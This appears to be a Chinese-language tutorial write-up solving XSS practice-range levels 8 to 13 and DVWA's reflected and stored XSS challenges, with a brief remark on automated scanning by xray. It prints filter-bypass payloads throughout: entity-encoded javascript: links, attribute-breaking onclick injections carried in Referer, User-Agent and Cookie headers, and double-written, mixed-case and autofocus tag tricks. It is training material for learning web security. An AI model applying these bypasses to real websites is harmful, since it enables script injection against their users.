XSS基础学习(3)
XSS基础学习
六、靶场实践
(该靶场有bug,直接修改html代码,添加弹窗,就直接可以通关)
第八关
http://8.130.109.21:9995/level8.php?keyword=not%20bad!
// 输入点输入javascript:alert(`xss`) 查看页面源码发现
<a href="javascr_ipt:alert(`xss`);">,此时试试其他编码是否绕过
//payload 采用html实体编码
javascript:alert(1)
第九关
http://8.130.109.21:9995/level9.php?keyword=not%20bad!
// 输入点输入javascript:alert(`xss`)后查看页面源码
<a href="您的链接不合法?有没有!">,此处检测的是http://或者https://
构建新的payload javascript:alert(`xss`);http://
查看源码:<a href="javascr_ipt:alert(`xss`);http://">,采用html实体编码,并且屏蔽http://,构建如下payload:
javascript:alert();//http://
第十关
http://8.130.109.21:9995/level10.php?keyword=well%20done!
// 页面没有发现输入框等,查看页面源码,
<form id="search">
<input name="t_link" value="" type="hidden">
<input name="t_history" value="" type="hidden">
<input name="t_sort" value="" type="hidden">
</form>
发现都被隐藏了,删除隐藏属性,修改html代码
<form id="search">
<input name="t_link" value="">
<input name="t_history" value="">
<input name="t_sort" value="">
<button>点我</button>
</form>
修改后的页面出现了三个表单,如图1所示,分别填入,123,456,789点击提交
查看页面源码,
<input name="t_link" value="" type="hidden">
<input name="t_history" value="" type="hidden">
<input name="t_sort" value="789" type="hidden">
说明只有name="t_sort",会提交数据,可以在该位置构造payload
//" onclick=" alert(1)" type="button
图1
第十一关
http://8.130.109.21:9995/level11.php?keyword=good%20job!
// 按照上一关的方法,发现“都被转义了,没法使用,但是比上一关多了一个t_ref=,测试该属性中value的值,来自于refer,此时,可以从refer输入payload,利用burpsuite或者浏览器插件hackbar都可以修改
" onclick="alert()" type="button
快捷通关,直接修改html代码即可,如图2所示
图2
第十二关
http://8.130.109.21:9995/level12.php?keyword=good%20job!
// 与上一关类似,只不过是将上一关的t_ref换成了t_ua,该属性中的值来自User-Agent,在User-Agent中输入payload即可通关,利用burpsuite或者浏览器插件hackbar都可以修改
//payload如下
" onclick="alert()" type="button
第十三关
http://8.130.109.21:9995/level13.php?keyword=good%20job!
// 与上一关类似,只不过是将上一关的t_ua换成了t_cook,该属性中的值来自Cookie,在Cookie中输入payload即可通关,利用burpsuite或者浏览器插件hackbar都可以修改
//payload如下
user=" onclick="alert()" type="button
七、DVWA靶场的xss练习
1.初级
-
XSS (Reflected)
<script>javascript:alert(1)</script>
-
XSS (Stored)
<script>javascript:alert(1)</script>
2.中级
-
XSS (Reflected)
在输入点输入<script>javascript:alert(1)</script>,查看源码 <pre>Hello javascript:alert(1)</script></pre>,<script>标签会消失,此时试试双写可不可以绕过 <scri<script>pt>javascript:alert(1)</script> 可以绕过
-
XSS (Stored)
<script>javascript:alert(1)</script> 查看数据库后,发现标签直接消失,此时在textname里面尝试大小写绕过,输入下面的payload(删除页面控制输入框字符长度的限制) <sCrIpT>alert(1)</ScRiPt>
3.高级
-
XSS (Reflected)
<script>javascript:alert(1)</script> 从输出的结果来看,发现最后就只留一个>,此时可以试试单标签, <input onfocus="alert('xss');"> 发现可以造成xss攻击
-
XSS (Stored)
根据上一关,直接尝试在textname中写入单标签的payload <input onfocus="alert('xss');" autofocus> 可以造成xss攻击
八、自动化xss测试
xray可以扫描出来,如下图3
图3
注意、xray扫描存储型xss时,用于靶场环境,在真实场景中,会将脏数据写入数据库,如下图4,在真实环境中存储型XSS基本都采用手工测试
图4